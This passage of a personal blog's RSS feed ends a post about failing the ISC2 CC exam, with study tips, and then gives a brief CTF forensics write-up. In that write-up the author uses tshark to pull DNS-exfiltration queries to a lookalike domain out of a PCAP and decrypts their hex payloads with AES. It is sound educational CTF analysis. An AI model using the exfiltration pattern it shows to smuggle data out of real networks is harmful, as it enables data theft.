<p>I also found several excellent resources that I didnt have time to go through:</p>
<ul>
<li><p><a target="_blank" href="https://www.linkedin.com/learning/cert-prep-isc2-certified-in-cybersecurity-cc/cybersecurity-15121230">https://www.linkedin.com/learning/cert-prep-isc2-certified-in-cybersecurity-cc/cybersecurity-15121230</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/cyberfascinate/ISC2-CC-Study-Material">https://github.com/cyberfascinate/ISC2-CC-Study-Material</a></p>
</li>
<li><p><a target="_blank" href="https://viblo.asia/p/lam-the-nao-de-lay-duoc-chung-chi-sscp-GAWVpZ1oJ05">https://viblo.asia/p/lam-the-nao-de-lay-duoc-chung-chi-sscp-GAWVpZ1oJ05</a></p>
</li>
</ul>
<p>The exam experience itself was quite smoothno technical issues at all. For those in Ho Chi Minh City, the exam is conducted at <strong>VNPro Informatics Center</strong>.</p>
<hr />
<h2 id="heading-3-lessons-learned-amp-exam-tips">3. Lessons Learned &amp; Exam Tips</h2>
<p>After sitting in the exam room for two hours, I realized that the questions were <strong>very tricky in wording</strong>. Often, a single question would have <strong>two or three options that all seemed correct</strong>. If you dont study carefully and fully grasp the ISC2 mindset, youll feel like every answer is right.</p>
<p>To do well, you must truly understand the <strong>context</strong> of each question. When you choose an answer, you should challenge yourself:</p>
<ul>
<li><p>Why is this option correct?</p>
</li>
<li><p>What are its pros and cons?</p>
</li>
<li><p>Is it really the <em>best</em> choice?</p>
</li>
</ul>
<p>Most questions are framed as <em>best in this case</em>, which means its not about choosing a correct answerits about choosing the <strong>most correct</strong> one.</p>
<p>To achieve that, you need to put yourself in the shoes of a <strong>manager</strong>, not a hacker. And for someone who comes from a pure CTF background like me, thats not easy at all.</p>
<p>If I were to prepare again, this would be my plan:</p>
<ul>
<li><p><strong>Week 1:</strong> Study the theory thoroughly</p>
</li>
<li><p><strong>Next 2 weeks:</strong> Do mock tests from multiple sources</p>
<ul>
<li><p>For every wrong question, revisit the theory</p>
</li>
<li><p>Make sure you never make the same mistake again</p>
</li>
</ul>
</li>
</ul>
<p>Once you can consistently score <strong>80+/100</strong> on practice exams that closely resemble the real one, youre probably ready.</p>
<p>As for me, I dont think Ill spend another <strong>$50</strong> to retake the exam.</p>
<hr />
<p>Thats my entire preparation journey, along with the lessons I learned from my very first certification exam. It was a <strong>free exam</strong>, but it gave me a real taste of what an international certification feels like.</p>
<p>If youre a beginnerwhy not give it a try?</p>
<p>If youve taken the ISC2 CC or any other cybersecurity certification, Id love to hear about your experience in the comments.</p>
<p>Wishing everyone who plans to take this exam the best of luckand hopefully you wont repeat the same mistakes I did.</p>
<p><strong>Best wishes!</strong></p>
]]></description><link>https://dangkhoi.me/how-i-failed-my-first-cybersecurity-certification</link><guid isPermaLink="true">https://dangkhoi.me/how-i-failed-my-first-cybersecurity-certification</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Certification]]></category><category><![CDATA[ISC2 Certification]]></category><category><![CDATA[failure]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Khôi Nguyễn Đăng]]></dc:creator></item><item><title><![CDATA[A problem forensic in CSCV2025]]></title><description><![CDATA[<h1 id="heading-dnsexfill">DNSEXFILL</h1>
<p><strong>Summary problem : I have a PCAP file which contain many DNS capture and two logs file</strong> I used the strings command on the PCAP file and noticed many common website here :+1:</p>
<p><img src="https://hackmd.io/_uploads/BJ-m-O8Rge.png" alt="image" /></p>
<p>As I continue scrolling , I found some suspicious strings :+1:</p>
<p><img src="https://hackmd.io/_uploads/BJOEZdUAxg.png" alt="image" /></p>
<p>Press enter or click to view image in full size</p>
<p>I try filter this suspicious by command :</p>
<p><code>tshark -r 10.10.0.53_ns_capture.pcap -Y '</code><a target="_blank" href="http://dns.qry.name"><code>dns.qry.name</code></a> <code>contains "</code><a target="_blank" href="http://hex.cloudflar3.com"><code>hex.cloudflar3.com</code></a><code>"' -T fields -e</code> <a target="_blank" href="http://dns.qry.name"><code>dns.qry.name</code></a> <code>| uniq</code> This is result :</p>
<pre><code class="lang-plaintext">p.c7aec5d0d81ba8748acac6931e5add6c24b635181443d0b9d2.hex.cloudflar3.com
p.f8aad90d5fc7774c1e7ee451e755831cd02bfaac3204aed8a4.hex.cloudflar3.com
p.3dfec8a22cde4db4463db2c35742062a415441f526daecb59b.hex.cloudflar3.com
p.f6af1ecb8cc9827a259401e850e5e07fdc3c1137f1.hex.cloudflar3.com
f.6837abc6655c12c454abe0ca85a596e98473172829581235dd.hex.cloudflar3.com
f.95380b06bf6dd06b89118b0003ea044700a5f2c4c106c3.hex.cloudflar3.com
</code></pre>
<p>I reviewed the access file and logfile to see scan anything relative to hex that i find.</p>
<p>After some time, i finded keyword in the log file :+1:</p>
<p><img src="https://hackmd.io/_uploads/SJ0rWuURlg.png" alt="image" /></p>
<p>Press enter or click to view image in full size</p>
<p>Finally , i was able to encode SHA256 hash withAPP-SECREC key , divide it to an aes-key and aes-iv , and them use to decode hex values</p>
<p><img src="https://hackmd.io/_uploads/By8L-OL0ge.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/BkaIb_UAeg.png" alt="image" /></p>
<p>Flag :</p>
<p><code>CSCV2025{DnS_Exf1ltr4ti0nnnnnnnnnnNN!!}</code></p>
]]></description><link>https://dangkhoi.me/a-problem-forensic-in-cscv2025</link><guid isPermaLink="true">https://dangkhoi.me/a-problem-forensic-in-cscv2025</guid><category><![CDATA[#cscv]]></category><category><![CDATA[forensics]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Khôi Nguyễn Đăng]]></dc:creator></item></channel></rss>